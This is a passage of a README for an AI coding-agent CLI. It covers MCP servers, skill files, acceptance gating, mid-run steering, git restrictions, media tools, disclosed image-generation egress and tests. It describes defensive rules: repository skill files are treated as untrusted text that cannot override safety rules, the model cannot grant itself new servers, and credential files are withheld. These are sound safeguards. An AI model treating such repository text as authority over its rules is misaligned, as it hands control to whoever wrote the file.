+ → npm i -g @modelcontextprotocol/server-filesystem
835
+ ```
836
+
837
+ The two worth knowing about, because they cover what this CLI structurally cannot do:
838
+
839
+ | server | what it adds | install |
840
+ |---|---|---|
841
+ | **`browser`** (Chrome DevTools MCP) | The one thing nothing here can do: **click, fill a form, type, drive a flow.** `see_page` renders and measures a page; it cannot press a button. Drives the Chrome already on your machine — no browser download. Verified: 29 tools, connected in 2.9s, navigated and read the accessibility tree back. | `npm i -g chrome-devtools-mcp` |
842
+ | **`docs`** (Context7) | **Current, version-specific library documentation** as source-cited snippets rather than search results — the fix for a model confidently quoting an API that changed two majors ago. Verified: 2 tools, real answers, **no API key**. | `npm i -g @upstash/context7-mcp` |
843
+
844
+ Then add it to `.acuvo/mcp.json` under `"mcpServers"`. `playwright` is also verified (24
845
+ tools) if you need Firefox or WebKit — ⚠️ note it writes `.playwright-mcp/` into your
846
+ working directory unless you pass `--output-dir`.
847
+
848
+ > ⚠️ **Nothing is enabled for you, and that is arithmetic rather than caution.** A server
849
+ > that cannot start still costs the **full 20-second handshake timeout** — measured at
850
+ > 20,052ms — before your first prompt. Anything needing a download or a credential is
851
+ > therefore off by default: this client passes npx `--no`, so it can only run a package
852
+ > that is *already installed*, and it can never fetch one for you.
853
+ >
854
+ > ⚠️ **The canonical install line from every MCP README does not work here, by design.**
855
+ > `{"command":"npx","args":["-y","@playwright/mcp@latest"]}` becomes `npx --no
856
+ > @playwright/mcp@latest` — `-y` is stripped and `--no` injected so a config file can
857
+ > never trigger a download-and-execute. Install the package globally first, and drop the
858
+ > `@latest` tag. The catalogue's entries are already written in the form that works.
859
+ >
860
+ > ⚠️ **The user chooses the servers, never the model.** There is deliberately no
861
+ > `connect_mcp_server` tool — a model that can add its own capabilities can grant itself
862
+ > anything on the machine. And a server you configure runs with your environment: we do
863
+ > not sandbox it and do not claim to. Read `ENTERPRISE.md` §3.1 before committing an
864
+ > `mcp.json`, because a committed one in a repo you cloned is spawned on an ordinary run.
865
+ >
866
+ > ⚠️ **`docs` is a network service** — your query text goes to Upstash. Named here because
867
+ > it is an egress path a reviewer will want to know about, like `generate_image` below.
868
+
869
+ ### Skills — your procedures, no pull request needed
870
+
871
+ Write a markdown file in `.acuvo/skills/`:
872
+
873
+ ```markdown
874
+ ---
875
+ name: new-endpoint
876
+ description: how this project adds an HTTP endpoint
877
+ when: adding any new route or endpoint
878
+ ---
879
+
880
+ 1. Every endpoint file goes in `routes/`, named `<verb>-<noun>.js`.
881
+ 2. Every endpoint must export a function called `handle`.
882
+ 3. Every file must start with `// OWNER: platform-team`.
883
+ ```
884
+
885
+ The catalogue (name, description, when) goes into the system prompt; the **body** is only
886
+ loaded when the model calls `read_skill`, so twenty skills cost you three lines of prompt
887
+ rather than twenty documents.
888
+
889
+ Measured, 2026-08-11, with exactly the skill above and the task
890
+ `"add an endpoint that returns the current health status"` — nothing about skills in the
891
+ prompt the user typed: the model called `read_skill` as its **first** tool and wrote
892
+ `routes/get-health.js`, exporting `handle`, beginning with `// OWNER: platform-team`.
893
+
894
+ ⚠️ **A skill is notes, not permissions.** It cannot grant a tool, lift a restriction or
895
+ override a safety rule, and both the catalogue and the loaded body say so — a skill file
896
+ is prose sitting in a repository, so it is treated as untrusted text.
897
+
898
+ ### Acceptance — make the verdict be about the command *you* named
899
+
900
+ `✔ VERIFIED` means *a* command exited 0. That is not the same as "the thing you asked for
901
+ passed", and the gap is where a green tick about the wrong command lives.
902
+
903
+ - A **declared** criterion (`declare_acceptance`, or `.acuvo/acceptance.json`) **decides
904
+ the exit code.** If it is unmet, the process exits 1 and `--json` reports
905
+ `failed: true`. If nothing in the run satisfied it, it is run once at the end, free —
906
+ no model call.
907
+ - A **derived** criterion — read out of your own task text, e.g. `"it must pass: npm
908
+ test"` — is **reported and never gates.** This runner guessed it out of prose, and a
909
+ guess must not be able to fail a run that did the right thing under a different name
910
+ (`npm test` vs `npm run test`).
911
+
912
+ `--json` says which you got:
913
+
914
+ ```json
915
+ "acceptance": { "source": "declared", "gating": true, "verdict": "unmet",
916
+ "unmet": [{ "command": "npm test", "why": "it ran and exited 1" }] }
917
+ ```
918
+
919
+ ⚠️ **Read `.acceptance` as well as `.verification`.** A run can verify one command and
920
+ miss the one you named; `verification.passed` will be `true` and `acceptance.verdict` will
921
+ be `unmet`. The exit code follows the declared criterion, so `acuvo --json … && git push`
922
+ is safe *if the criterion was declared*.
923
+
924
+ ### `.acuvo/` — what the CLI writes into your workspace
925
+
926
+ It is one directory in **your** repository, and it holds two different kinds of thing.
927
+
928
+ | path | what it is | commit it? |
929
+ |---|---|---|
930
+ | `.acuvo/sessions/` | Resumable runs, newest 20 kept. What `--sessions`, `--resume` and `--replay` read. | **no** — machine-local, and large |
931
+ | `.acuvo/audit/<date>.jsonl` | One redacted line per invocation: what was asked, what changed, what verified, what it cost. Never file contents, command output or model prose. | **your call.** Ignore it by default; commit it deliberately if the record is the point |
932
+ | `.acuvo/plan.json`, `.acuvo/acceptance.json` | The agent's own bookkeeping for the run in progress. | no |
933
+ | `.acuvo/steer.txt` | An instruction you write WHILE it works — see below. Read and deleted at the next round boundary. | no |
934
+ | `.acuvo/skills/*.md` | *Your* procedures — see above. | **yes** |
935
+ | `.acuvo/memory/*.md` | Facts `remember` recorded, one file each. Markdown on purpose: diffable, reviewable in a PR, and the reason a credential is refused before it can be written. | **yes** |
936
+ | `.acuvo/commands.json` | Which command presets this project enables — see below. | **yes** |
937
+ | `.acuvo/mcp.json` | MCP servers to connect to (`.mcp.json` at the root is also read, second). Written by you; no tool can add one. | yes, if your team shares them — and read `ENTERPRISE.md` §3.1 first, because a *committed* one in a repo you cloned is spawned on an ordinary run |
938
+
939
+ So the ignore rule is not `.acuvo/`, and this section used to say it was — which would have
940
+ thrown away the three files that are meant to travel with the repo:
941
+
942
+ ```gitignore
943
+ .acuvo/*
944
+ !.acuvo/skills/
945
+ !.acuvo/memory/
946
+ !.acuvo/commands.json
947
+ ```
948
+
949
+ `--no-session` and `--no-audit` opt out of the two records; `--dry-run` writes neither.
950
+
951
+ ### Steering it mid-run — `.acuvo/steer.txt`
952
+
953
+ A run is not a thing you can only watch or kill. Write a line into `.acuvo/steer.txt` from
954
+ anywhere — another terminal, your editor, a script — and the run picks it up at the **next round
955
+ boundary**, appends it to the conversation as something *you* said, and carries on from the same
956
+ transcript. Nothing already done is thrown away.
957
+
958
+ ```bash
959
+ echo "stop writing tests, just fix the import" > .acuvo/steer.txt
960
+ ```
961
+
962
+ What you see, from a real run:
963
+
964
+ ```
965
+ ⚠ stopped after round 8 — you steered the run mid-flight
966
+ ⤳ steering: "stop writing tests, just fix the import" — applied now, 2 rounds left · $0.002161 spent so far
967
+
968
+ ── round 1/2 ─────────────────────────────
969
+ The user changed direction: I will keep only the circle function …
970
+ ```
971
+
972
+ - **It is a file, not a keystroke,** because interactive mode gives stdin to `readline` and one-shot
973
+ mode — the long case, the one that needs it — has no keyboard in the loop at all. A file works in
974
+ both, and can be written by something that is not a person.
975
+ - **Read once, then deleted.** An instruction you gave once must not become one you cannot stop giving.
976
+ - **The rounds are not refilled.** The continuation gets what was left of `--max-rounds`, and the
977
+ `--budget` ceiling covers the whole turn, not each segment of it.
978
+ - **Bounded** to 3 steers per turn, and a steer that could not be applied says so rather than vanishing.
979
+
980
+ ### Stopping it — Ctrl-C
981
+
982
+ The **first** press stops the run at the end of the round in flight: the transcript is saved, the cost
983
+ is recorded, the changes are reported, and `acuvo --resume` carries on. The **second** press quits
984
+ immediately. Either way the exit code is **130** (128+SIGINT), never `1` — `1` means "the code it
985
+ wrote still does not pass", and a script that cannot tell those apart retries the wrong one.
986
+
987
+ ---
988
+
989
+ ## What it sends before it starts
990
+
991
+ Every fresh task begins with a **repo map**: the directory tree plus the exported symbols of
992
+ the source files, bounded to about 6,000 tokens (`DEFAULT_BUDGET_TOKENS`, `lib/repo-map.mjs`),
993
+ and byte-stable so the prompt prefix caches. Files that do not fit are named as a count per
994
+ directory, with a pointer to `find_files` / `search_text` — omitted, never silently absent.
995
+
996
+ ⚠️ **This replaced an older pre-read that had two real defects**, and both are fixed rather
997
+ than mitigated:
998
+
999
+ - It walked only **two levels** and read the *contents* of every small file it found. A module
1000
+ four directories down was invisible, so the model would invent a plausible file and write
1001
+ over the wrong one.
1002
+ - It sent the **body of gitignored files** to the provider. The map lists a path when the tree
1003
+ shows one and never reads an ignored file's contents. `.env`, `*.pem`, `id_rsa` and other
1004
+ credential-shaped files are withheld entirely and reported as a count.
1005
+
1006
+ If a workspace cannot be read, the map is simply empty and the task proceeds — a pre-read is
1007
+ an optimisation, not a precondition, and it may never be the thing that kills a run.
1008
+
1009
+ ---
1010
+
1011
+ ## Git
1012
+
1013
+ Git is exposed as **structured verbs**, not as a command string: `git_status`, `git_diff`, `git_log`, `git_commit`.
1014
+
1015
+ `push`, `reset`, `checkout`, `clean`, `rebase` and `merge` are not refused — they are **inexpressible**. There is no path from a model-authored string to a git subcommand it was not given.
1016
+
1017
+ Two deliberate restrictions:
1018
+
1019
+ - **Commit requires you to name the paths.** There is no "commit everything": sweeping up files nobody looked at is how scratch files and secrets get committed.
1020
+ - `.env`, `*.pem`, `id_rsa` and friends are **never** staged, whatever `.gitignore` says. History keeps a secret after you delete it.
1021
+
1022
+ ⚠️ If your workspace sits *inside* a larger repository, git commands are refused. Git walks upward to find a repo, so operating from a subdirectory would report — and commit — changes from the whole outer project.
1023
+
1024
+ ---
1025
+
1026
+ ## Media tools
1027
+
1028
+ Four of these are **only offered when you configure their endpoint**. A tool whose service is absent is never mentioned, so the agent cannot waste a round discovering it does not work.
1029
+
1030
+ | tool | env | what it does |
1031
+ |---|---|---|
1032
+ | `see_page` | `RENDER_AUDIT_URL` | Render your HTML in a real browser; save the screenshot, report measured layout problems. |
1033
+ | `speak` | `MODAL_TTS_URL` | Text → an audio file in your workspace. |
1034
+ | `transcribe` | `MODAL_TRANSCRIBE_URL` | Audio/video → text with timestamped segments. |
1035
+ | `make_document` | `MODAL_PRESS_URL` | HTML → PDF, PNG or PPTX. |
1036
+ | *(all four)* | `MODAL_VIDEO_SECRET` | The shared secret those endpoints expect. |
1037
+
1038
+ > ⚠️ **`MODAL_VIDEO_SECRET` is the one that costs the most time, and it used to be
1039
+ > documented nowhere.** It is not a URL, so it never appears in an error about a missing
1040
+ > endpoint — a correctly-set URL *without* it fails authorisation and reads like a broken
1041
+ > service. Its absence is what made four working tools look broken. `acuvo --doctor` now
1042
+ > distinguishes the three states explicitly: **live** (reachable *and* authorised),
1043
+ > **dark** (unset — the tool is simply never offered), **broken** (set, and not answering).
1044
+
1045
+ ### `--design <file.html>` — the design loop, without the agent
1046
+
1047
+ ```bash
1048
+ acuvo --design index.html
1049
+ ```
1050
+
1051
+ Renders the page, looks at it, and prints a verdict. No model call, no completion spent.
1052
+ Real output, on a page written for this README:
1053
+
1054
+ ```
1055
+ LOOKED AT index.html — 1280×900
1056
+ 1. unreadable text (contrast 1.71:1, needs 4.5): Zero dependencies. One file. It runs what it writes.
1057
+ 2. the page scrolls sideways: content is 2590px wide in a 1280px viewport
1058
+ screenshot: .acuvo/render-1786419880418.png (19KB)
1059
+ ```
1060
+
1061
+ Exit 0 when the page was looked at and nothing was found; 1 when the look failed **or** the
1062
+ page has findings. On a terminal that speaks kitty or iTerm2 the actual pixels are drawn
1063
+ inline — the path line stays either way, because the image is an addition to the report and
1064
+ never a replacement for it.
1065
+
1066
+ ⚠️ **"Could not look" is never reported as "the page is fine."** With `RENDER_AUDIT_URL`
1067
+ unset it names that variable and makes no claim about the page. The JSON form carries the
1068
+ same distinction in a field (`trustworthy`), so a script cannot mistake one for the other.
1069
+
1070
+ ⭐ The same verdict is what the *agent* now reads when it calls `see_page`. Measured: the
1071
+ verdict is **26 tokens** where the raw tool record was **205** and the screenshot itself
1072
+ would be **1,536**. Anyone can take the photograph; the compression is the product.
1073
+
1074
+ ### Voice — `--task-audio` in, `--say` out
1075
+
1076
+ ```bash
1077
+ acuvo --task-audio note.wav # transcribe a file and run what it says
1078
+ acuvo --say "fix the failing test" # speak the verdict when the run ends
1079
+ ```
1080
+
1081
+ ⚠️ **It shows you the transcript and waits.** Enter cancels, `y` runs it, and anything else
1082
+ is treated as a correction — `"no, the server not the sensor"` fixes a mis-heard word
1083
+ without retyping the task. That keystroke is the whole thing standing between a mis-heard
1084
+ word and a file-writing agent, so there is no way to skip it except `--yes`, which is
1085
+ required in a pipe, in CI, or with `--json` (where there is nobody to ask).
1086
+
1087
+ A full round trip, run 2026-08-11: `--say` wrote a 424KB `.wav`, that file was fed back in
1088
+ with `--task-audio`, and the transcript came back as *"Create a file called Greeting.Text
1089
+ containing the word working."* — which, confirmed with `--yes`, the agent then did.
1090
+
1091
+ ```
1092
+ heard in ask.wav:
1093
+
1094
+ "Create a file called Greeting.Text containing the word working."
1095
+
1096
+ run it? [y = yes · Enter = no · or type a correction]
1097
+ ```
1098
+
1099
+ **It does not record and it does not play.** `--task-audio` needs a file that already
1100
+ exists; `--say` writes a `.wav` and prints the one command that plays it on your OS. Both
1101
+ are deliberate: live capture and audio playback each mean an npm dependency or an OS binary
1102
+ past the command allowlist, and zero dependencies is the point of this package.
1103
+
1104
+ ⚠️ `--parallel` is **not** narrated. N verdicts read aloud in a random order is noise.
1105
+
1106
+ ### The horizon: the history is compacted, and it says so
1107
+
1108
+ There is no flag for this. As a conversation approaches a 24,000-token budget the loop
1109
+ compacts it **before** it pays for the next call — clamping and stubbing old tool results,
1110
+ never removing messages — and prints what it freed. Real output, from a 15-round session
1111
+ run 2026-08-11 (rounds 12, 13 and 14 each compacted):
1112
+
1113
+ ```
1114
+ ── round 13/16 ─────────────────────────────
1115
+ · 25,206 → 23,287 estimated tokens (7.6% freed, ~1,919 tokens) across 3 of 12 tool results.
1116
+ · giant-results: 3
1117
+ · under the 24,000 token budget.
1118
+ · ⚠️ every token number here is an ESTIMATE — characters divided by 4 …
1119
+ ```
1120
+
1121
+ ⚠️ **Silent compaction is indistinguishable from amnesia**, which is why it is always
1122
+ announced: without the line, an agent that stops knowing something it read two rounds ago
1123
+ looks like a defective model. Every token figure is an *estimate* (chars ÷ 4 — counting
1124
+ properly would mean a dependency) and the printed line says so.
1125
+
1126
+ A conversation already under budget is returned **byte-identical** and costs nothing, so
1127
+ short sessions are unaffected — measured, an 8-round session in the same workspace never
1128
+ triggered it once.
1129
+
1130
+ This is what made `--max-rounds` safe to raise from a ceiling of 8 to **16**, and again to **64** on 2026-08-16: the
1131
+ constraint was never the round count, it was a transcript that grew without bound. The
1132
+ 15-round session quoted above **could not have existed** under the old ceiling.
1133
+
1134
+ ⚠️ **Honest limits.** Compaction only ever clamps *tool results*; it does not summarise, so
1135
+ on a transcript whose weight is model prose rather than file contents it frees little. The
1136
+ 7.6% above is what one real session happened to yield — the saving depends entirely on what
1137
+ the model did, and no fixed percentage is promised. `underBudget: false` is a real reported
1138
+ outcome: it does not pretend to have fitted something it could not.
1139
+
1140
+ ### ⚠️ `generate_image` is different — it is ON by default, and it leaves your machine
1141
+
1142
+ Image generation works with **no configuration at all**, because a capability you have to
1143
+ discover and configure is one most people never see. That convenience has a cost you are
1144
+ entitled to know about before you run it, so here it is plainly:
1145
+
1146
+ **When the agent generates an image, your prompt is sent to a third-party service over the
1147
+ internet.** By default that is [Perchance](https://perchance.org), reached directly over HTTP/2 —
1148
+ your prompt goes to them, not to us, and no XXIautomate server is involved. If they do not answer,
1149
+ the request falls through to [Pollinations](https://pollinations.ai), which also needs no account.
1150
+ No file contents, no code and no credentials from your workspace are sent to either.
1151
+
1152
+ Two things this section used to leave out, both of which you are entitled to know:
1153
+
1154
+ **1. The prompt that leaves is not the prompt you wrote.** Every request is rewritten by an art
1155
+ director before it is sent (`lib/image-director.mjs`): photographic direction — lens, light,
1156
+ composition, grade — is appended, and *requests for text are actively removed*, because diffusion
1157
+ models cannot spell and garbled lettering is the defect a viewer reads instantly as "made by a
1158
+ machine". Ask for "a coffee bag with the label Ember & Oak" and the service is asked for a
1159
+ composition that needs no label. This makes the output much better and it means the literal string
1160
+ you typed is not what was transmitted.
1161
+
1162
+ **2. The generated image is uploaded to OpenRouter to be looked at.** After each attempt the PNG
1163
+ is base64'd into a vision call to `qwen/qwen3.7-flash` on your own `OPENROUTER_API_KEY`
1164
+ (`critiqueImage`, `lib/image-director.mjs`) which scores it and names its defects. That is a
1165
+ second egress, to a second party, of a file that is in your workspace. It is what stops the agent
1166
+ — which cannot see — from confidently referencing a smeared, illegible hero across four pages,
1167
+ which is a thing that actually happened. **Without an API key the critic is skipped and the result
1168
+ says so** (`accepted: false`, "NOT reviewed") rather than assuming approval. Up to two attempts,
1169
+ never three.
1170
+
1171
+ ⚠️⚠️ **Timing — and this paragraph was WRONG until it was measured.** It previously said the
1172
+ generation was "about three seconds" and the whole call "closer to ten seconds", and flagged the
1173
+ tool's own "about a minute per image" as a stale leftover to be corrected.
1174
+
1175
+ **Measured end to end, 2026-08-11, one real call** (`generateImage`, 512×512, a funded
1176
+ `OPENROUTER_API_KEY` present so the critic ran, default route straight to perchance.org):
1177
+
1178
+ ```
1179
+ elapsed 54,829 ms · ok: true · a-sharp-high-resolution-photograph-of-a-.jpg
1180
+ ```
1181
+
1182
+ **Fifty-five seconds.** The schema's "about a minute per image" is the accurate number and the
1183
+ README's three-and-ten were the stale ones — the correction had been aimed at the wrong file.
1184
+ Nothing in the schema was changed as a result. Budget roughly a minute per image, and up to
1185
+ twice that when the critic rejects the first attempt.
1186
+
1187
+ ⭐ The reason this is worth writing down rather than quietly editing: the earlier numbers were
1188
+ inherited from a source that measured *generation only*, and were then presented as the cost of
1189
+ the whole call. That is how a document ends up recommending a change to the one line in the
1190
+ package that was already right.
1191
+
1192
+ Three ways to control it:
1193
+
1194
+ ```bash
1195
+ export PERCHANCE_IMAGE_URL= # empty = OFF. The tool is never offered.
1196
+ export PERCHANCE_IMAGE_URL=http://localhost:8080 # point it at your own instance
1197
+ acuvo --no-run "…" # unrelated, but it stops execution entirely
1198
+ ```
1199
+
1200
+ Setting it to an **empty string** disables it deliberately and is respected — an unset variable
1201
+ means "use the default", an empty one means "I have decided not to".
1202
+
1203
+ ⚠️ **This section previously said the opposite** — that every media tool was gated on its env
1204
+ var. That was false for `generate_image` and had been for some time. It is documented here rather
1205
+ than quietly corrected, because undisclosed network egress from a tool you installed is exactly
1206
+ the kind of thing that should cost a project its credibility.
1207
+
1208
+ ---
1209
+
1210
+ ## Tests
1211
+
1212
+ ```bash
1213
+ npm test # node --test test/*.test.mjs — no network, no API key
1214
+ ```
1215
+
1216
+ **1,378 tests across 61 files**, measured 2026-08-11: 1,333 pass, 45 skipped, 0 fail.
1217
+ (This README said 455 for long enough that the real number had tripled underneath it. The
1218
+ count above is a snapshot, not a constant — run the command and believe the output, not
1219
+ this line.)
1220
+
1221
+ They cover the safety decisions — path escapes, shell refusal, credential scrubbing,
1222
+ ambiguous edits, commit guards — the places where being wrong is dangerous rather than merely
1223
+ broken. `test/docs-truth.test.mjs` additionally fails the suite when this README's documented
1224
+ defaults stop matching the exported constants.
1225
+
1226
+ ⚠️ **Read the skip count, not just the fail count.** A suite that is green because a whole
1227
+ file excused itself is the same lie as a suite that is green because it found no tests, and
1228
+ the second one is named below.
1229
+
1230
+ > ⭐ This paragraph used to report **44 skips in `test/bundle.test.mjs`** — 545 lines of spec
1231
+ > for a `scripts/bundle.mjs` that did not exist. It exists now, and those tests run: the
1232
+ > current suite skips **2** in total. The rule the paragraph states is unchanged and still
1233
+ > worth obeying; only its example got fixed.
1234
+
1235
+ ⚠️ **`npm test` is a false green in an installed copy.** `package.json`'s `files` allowlist ships
1236
+ `bin/`, `lib/` and the docs — not `test/`. Run it from a source checkout, where the tests exist.
1237
+ In a packed or installed copy the glob matches nothing, `node --test` finds no tests, and the
1238
+ command exits 0 having verified precisely nothing. A green that means "no tests ran" is the worst
1239
+ kind, so it is named here rather than left to be discovered.
1240
+
1241
+ ---
1242
+
1243
+ ## Licence
1244
+
1245
+ **Functional Source License (FSL-1.1-Apache-2.0).** See [LICENSE](./LICENSE) — read it, audit it, run it, self-host it, modify it, build on it. The one thing you may not do is run a commercial service that substitutes for Acuvo Code. Converts to Apache 2.0 after two years.